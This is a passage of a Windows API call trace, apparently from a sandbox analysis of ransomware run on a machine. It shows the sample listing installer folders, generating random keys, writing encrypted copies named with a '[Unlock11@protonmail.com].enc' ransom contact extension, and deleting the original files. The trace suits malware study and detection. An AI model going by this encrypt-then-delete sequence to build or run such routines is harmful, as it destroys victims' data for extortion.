lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.256] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.256] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.256] GetLastError () returned 0x0 [0114.256] GetCurrentThreadId () returned 0x9b0 [0114.256] GetLastError () returned 0x0 [0114.257] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6d78 | out: hHeap=0x2ad0000) returned 1 [0114.257] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0114.257] GetLastError () returned 0x0 [0114.257] GetLastError () returned 0x0 [0114.257] GetLastError () returned 0x0 [0114.257] GetLastError () returned 0x0 [0114.257] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0114.257] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6cc8 [0114.257] GetLastError () returned 0x0 [0114.257] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0114.259] GetFileType (hFile=0x3ac) returned 0x1 [0114.259] GetLastError () returned 0x0 [0114.259] GetCurrentThreadId () returned 0x9b0 [0114.259] GetLastError () returned 0x0 [0114.259] GetFileType (hFile=0x3ac) returned 0x1 [0114.259] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0114.259] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.259] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.259] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.260] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.260] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.260] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.260] GetLastError () returned 0x0 [0114.260] GetCurrentThreadId () returned 0x9b0 [0114.260] GetLastError () returned 0x0 [0114.260] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6cc8 | out: hHeap=0x2ad0000) returned 1 [0114.260] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a1f90 | out: hHeap=0x2ad0000) returned 1 [0114.260] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881138 [0114.260] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0114.260] GetLastError () returned 0x0 [0114.260] GetLastError () returned 0x0 [0114.261] GetCurrentThreadId () returned 0x9b0 [0114.261] GetLastError () returned 0x0 [0114.261] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812a0 | out: hHeap=0x2ad0000) returned 1 [0114.261] GetLastError () returned 0x0 [0114.261] GetLastError () returned 0x0 [0114.261] GetCurrentThreadId () returned 0x9b0 [0114.261] GetLastError () returned 0x0 [0114.261] GetLastError () returned 0x0 [0114.263] GetLastError () returned 0x0 [0114.263] GetCurrentThreadId () returned 0x9b0 [0114.263] GetLastError () returned 0x0 [0114.263] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6d48 | out: hHeap=0x2ad0000) returned 1 [0114.263] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0114.263] GetCurrentThreadId () returned 0x9b0 [0114.264] GetLastError () returned 0x0 [0114.264] GetLastError () returned 0x0 [0114.264] GetLastError () returned 0x0 [0114.264] GetLastError () returned 0x0 [0114.264] GetCurrentThreadId () returned 0x9b0 [0114.264] GetLastError () returned 0x0 [0114.264] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0114.264] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812d0 [0114.265] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0114.265] GetLastError () returned 0x0 [0114.266] GetLastError () returned 0x0 [0114.267] GetCurrentThreadId () returned 0x9b0 [0114.267] GetLastError () returned 0x0 [0114.267] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0114.267] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0114.267] GetLastError () returned 0x0 [0114.267] GetLastError () returned 0x0 [0114.267] GetCurrentThreadId () returned 0x9b0 [0114.267] GetLastError () returned 0x0 [0114.267] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0x19a1) returned 0x36f8548 [0114.268] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0114.268] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0x19a5) returned 0x36f8548 [0114.268] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6c68 [0114.268] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6d18 | out: hHeap=0x2ad0000) returned 1 [0114.268] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x19a8) returned 0x38293e8 [0114.268] GetCurrentThreadId () returned 0x9b0 [0114.268] GetLastError () returned 0x0 [0114.268] GetLastError () returned 0x0 [0114.268] GetLastError () returned 0x0 [0114.268] GetLastError () returned 0x0 [0114.268] GetCurrentThreadId () returned 0x9b0 [0114.268] GetLastError () returned 0x0 [0114.269] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38293e8 | out: hHeap=0x2ad0000) returned 1 [0114.269] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881138 [0114.269] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0114.269] GetLastError () returned 0x0 [0114.269] GetLastError () returned 0x0 [0114.269] GetCurrentThreadId () returned 0x9b0 [0114.269] GetLastError () returned 0x0 [0114.269] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887a10 | out: hHeap=0x2ad0000) returned 1 [0114.269] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0114.269] GetLastError () returned 0x0 [0114.269] GetLastError () returned 0x0 [0114.270] GetCurrentThreadId () returned 0x9b0 [0114.270] GetLastError () returned 0x0 [0114.270] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0114.270] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0114.270] GetLastError () returned 0x0 [0114.270] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0114.270] CloseHandle (hObject=0x3ac) returned 1 [0114.270] GetLastError () returned 0x0 [0114.270] GetCurrentThreadId () returned 0x9b0 [0114.271] GetLastError () returned 0x0 [0114.271] GetLastError () returned 0x0 [0114.271] CloseHandle (hObject=0x39c) returned 1 [0114.271] GetLastError () returned 0x0 [0114.271] GetCurrentThreadId () returned 0x9b0 [0114.271] GetLastError () returned 0x0 [0114.271] GetLastError () returned 0x0 [0114.271] GetLastError () returned 0x0 [0114.271] GetLastError () returned 0x0 [0114.271] GetLastError () returned 0x0 [0114.271] DeleteFileA (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml")) returned 1 [0114.273] GetLastError () returned 0x0 [0114.273] GetCurrentThreadId () returned 0x9b0 [0114.273] GetLastError () returned 0x0 [0114.273] GetCurrentThreadId () returned 0x9b0 [0114.273] GetLastError () returned 0x0 [0114.273] GetLastError () returned 0x0 [0114.273] GetLastError () returned 0x0 [0114.273] GetLastError () returned 0x0 [0114.273] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\1037\\SetupResources.dll", lpFilePart=0x9bada4*="SetupResources.dll") returned 0x2d [0114.274] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0114.274] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0114.274] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0114.274] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0114.274] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0114.274] GetCurrentThreadId () returned 0x9b0 [0114.274] GetLastError () returned 0x0 [0114.274] GetLastError () returned 0x0 [0114.274] GetLastError () returned 0x0 [0114.274] GetLastError () returned 0x0 [0114.274] FindFirstFileA (in: lpFileName="C:\\588bce7c90097ed212\\1038\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7590 [0114.275] GetLastError () returned 0x0 [0114.275] GetCurrentThreadId () returned 0x9b0 [0114.275] GetLastError () returned 0x0 [0114.275] FindNextFileA (in: hFindFile=0x10f7590, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0114.275] GetLastError () returned 0x0 [0114.275] GetCurrentThreadId () returned 0x9b0 [0114.275] GetLastError () returned 0x0 [0114.275] FindNextFileA (in: hFindFile=0x10f7590, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x109e, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0114.275] GetLastError () returned 0x0 [0114.275] GetCurrentThreadId () returned 0x9b0 [0114.275] GetLastError () returned 0x0 [0114.275] FindNextFileA (in: hFindFile=0x10f7590, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x151aa, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0114.275] GetLastError () returned 0x0 [0114.276] GetCurrentThreadId () returned 0x9b0 [0114.276] GetLastError () returned 0x0 [0114.276] FindNextFileA (in: hFindFile=0x10f7590, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0114.276] GetLastError () returned 0x0 [0114.276] GetCurrentThreadId () returned 0x9b0 [0114.276] GetLastError () returned 0x0 [0114.276] FindNextFileA (in: hFindFile=0x10f7590, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0114.276] GetLastError () returned 0x12 [0114.276] GetCurrentThreadId () returned 0x9b0 [0114.276] GetLastError () returned 0x12 [0114.276] GetLastError () returned 0x12 [0114.276] FindClose (in: hFindFile=0x10f7590 | out: hFindFile=0x10f7590) returned 1 [0114.277] GetCurrentThreadId () returned 0x9b0 [0114.277] GetLastError () returned 0x12 [0114.277] GetLastError () returned 0x12 [0114.277] GetLastError () returned 0x12 [0114.277] GetLastError () returned 0x12 [0114.277] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0114.277] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf")) returned 0x80 [0114.277] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20258 | out: hHeap=0x2ad0000) returned 1 [0114.277] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881198 [0114.277] GetLastError () returned 0x12 [0114.277] GetLastError () returned 0x12 [0114.278] GetLastError () returned 0x12 [0114.278] GetLastError () returned 0x12 [0114.278] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0114.278] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml")) returned 0x80 [0114.278] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0114.278] GetCurrentThreadId () returned 0x9b0 [0114.278] GetLastError () returned 0x12 [0114.278] GetLastError () returned 0x12 [0114.278] GetLastError () returned 0x12 [0114.278] GetLastError () returned 0x12 [0114.279] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0114.279] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll")) returned 0x80 [0114.279] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0114.279] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881000 | out: hHeap=0x2ad0000) returned 1 [0114.279] GetLastError () returned 0x12 [0114.280] GetLastError () returned 0x12 [0114.280] GetLastError () returned 0x12 [0114.280] GetLastError () returned 0x12 [0114.280] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\1038\\eula.rtf", lpFilePart=0x9bada4*="eula.rtf") returned 0x23 [0114.280] GetCurrentThreadId () returned 0x9b0 [0114.280] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0114.280] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0114.280] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0114.280] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0114.280] GetCurrentThreadId () returned 0x9b0 [0114.280] GetLastError () returned 0x12 [0114.281] GetLastError () returned 0x12 [0114.281] GetLastError () returned 0x12 [0114.281] GetLastError () returned 0x12 [0114.281] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml", lpFilePart=0x9bada4*="LocalizedData.xml") returned 0x2c [0114.281] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0114.281] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0114.281] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0114.281] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0114.281] GetCurrentThreadId () returned 0x9b0 [0114.281] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382ce30 [0114.282] GetLastError () returned 0x0 [0114.282] GetLastError () returned 0x0 [0114.282] GetLastError () returned 0x0 [0114.282] GetLastError () returned 0x0 [0114.282] GetCurrentThreadId () returned 0x9b0 [0114.282] GetLastError () returned 0x0 [0114.282] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382ce30 | out: hHeap=0x2ad0000) returned 1 [0114.283] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cb38 [0114.283] GetLastError () returned 0x0 [0114.283] GetLastError () returned 0x0 [0114.283] GetLastError () returned 0x0 [0114.283] GetLastError () returned 0x0 [0114.283] GetCurrentThreadId () returned 0x9b0 [0114.283] GetLastError () returned 0x0 [0114.283] GetCurrentThreadId () returned 0x9b0 [0114.283] GetLastError () returned 0x0 [0114.283] GetLastError () returned 0x0 [0114.283] GetLastError () returned 0x0 [0114.283] GetLastError () returned 0x0 [0114.283] GetCurrentThreadId () returned 0x9b0 [0114.284] GetLastError () returned 0x0 [0114.284] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cb38 | out: hHeap=0x2ad0000) returned 1 [0114.284] GetLastError () returned 0x0 [0114.284] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6528 | out: hHeap=0x2ad0000) returned 1 [0114.284] GetLastError () returned 0x0 [0114.284] GetLastError () returned 0x0 [0114.284] GetLastError () returned 0x0 [0114.284] GetCurrentThreadId () returned 0x9b0 [0114.284] GetLastError () returned 0x0 [0114.284] GetLastError () returned 0x0 [0114.284] GetLastError () returned 0x0 [0114.284] GetLastError () returned 0x0 [0114.285] GetLastError () returned 0x0 [0114.285] GetCurrentThreadId () returned 0x9b0 [0114.285] GetLastError () returned 0x0 [0114.285] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a568 | out: hHeap=0x2ad0000) returned 1 [0114.285] GetLastError () returned 0x0 [0114.285] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6618 | out: hHeap=0x2ad0000) returned 1 [0114.285] GetLastError () returned 0x0 [0114.285] GetLastError () returned 0x0 [0114.285] GetLastError () returned 0x0 [0114.285] GetCurrentThreadId () returned 0x9b0 [0114.285] GetLastError () returned 0x0 [0114.285] GetLastError () returned 0x0 [0114.286] GetLastError () returned 0x0 [0114.286] GetLastError () returned 0x0 [0114.286] GetLastError () returned 0x0 [0114.286] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0114.286] GetFileAttributesExA (in: lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x151aa)) returned 1 [0114.286] GetLastError () returned 0x0 [0114.286] GetCurrentThreadId () returned 0x9b0 [0114.286] GetLastError () returned 0x0 [0114.286] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0114.286] GetCurrentThreadId () returned 0x9b0 [0114.287] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664354 | out: pbBuffer=0x3664354) returned 1 [0114.287] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0114.287] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34adba8 [0114.287] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0114.287] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382ce30 [0114.287] GetCurrentThreadId () returned 0x9b0 [0114.287] GetLastError () returned 0x0 [0114.287] GetLastError () returned 0x0 [0114.287] GetLastError () returned 0x0 [0114.287] GetLastError () returned 0x0 [0114.287] GetCurrentThreadId () returned 0x9b0 [0114.287] GetLastError () returned 0x0 [0114.288] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382ce30 | out: hHeap=0x2ad0000) returned 1 [0114.288] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382ce30 [0114.288] GetLastError () returned 0x0 [0114.288] GetLastError () returned 0x0 [0114.288] GetLastError () returned 0x0 [0114.288] GetLastError () returned 0x0 [0114.288] GetCurrentThreadId () returned 0x9b0 [0114.288] GetLastError () returned 0x0 [0114.288] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382ce30 | out: hHeap=0x2ad0000) returned 1 [0114.288] GetCurrentThreadId () returned 0x9b0 [0114.288] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33f6c48 [0114.289] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34adba8 | out: hHeap=0x2ad0000) returned 1 [0114.289] GetLastError () returned 0x0 [0114.289] GetLastError () returned 0x0 [0114.289] GetLastError () returned 0x0 [0114.289] GetLastError () returned 0x0 [0114.289] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812a0 | out: hHeap=0x2ad0000) returned 1 [0114.289] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6d08 [0114.289] GetLastError () returned 0x0 [0114.289] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0114.289] GetFileType (hFile=0x39c) returned 0x1 [0114.290] GetLastError () returned 0x0 [0114.290] GetCurrentThreadId () returned 0x9b0 [0114.290] GetLastError () returned 0x0 [0114.290] GetFileType (hFile=0x39c) returned 0x1 [0114.290] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0114.290] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.290] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.290] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.290] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.290] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.290] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.290] GetLastError () returned 0x0 [0114.290] GetCurrentThreadId () returned 0x9b0 [0114.290] GetLastError () returned 0x0 [0114.291] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6d08 | out: hHeap=0x2ad0000) returned 1 [0114.291] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0114.291] GetLastError () returned 0x0 [0114.291] GetLastError () returned 0x0 [0114.291] GetLastError () returned 0x0 [0114.291] GetLastError () returned 0x0 [0114.291] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0114.291] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6d38 [0114.291] GetLastError () returned 0x0 [0114.291] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0114.293] GetFileType (hFile=0x3ac) returned 0x1 [0114.293] GetLastError () returned 0x0 [0114.293] GetCurrentThreadId () returned 0x9b0 [0114.293] GetLastError () returned 0x0 [0114.293] GetFileType (hFile=0x3ac) returned 0x1 [0114.293] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0114.293] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.293] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.294] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.294] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.294] FileTimeToLocalFileTime (in: 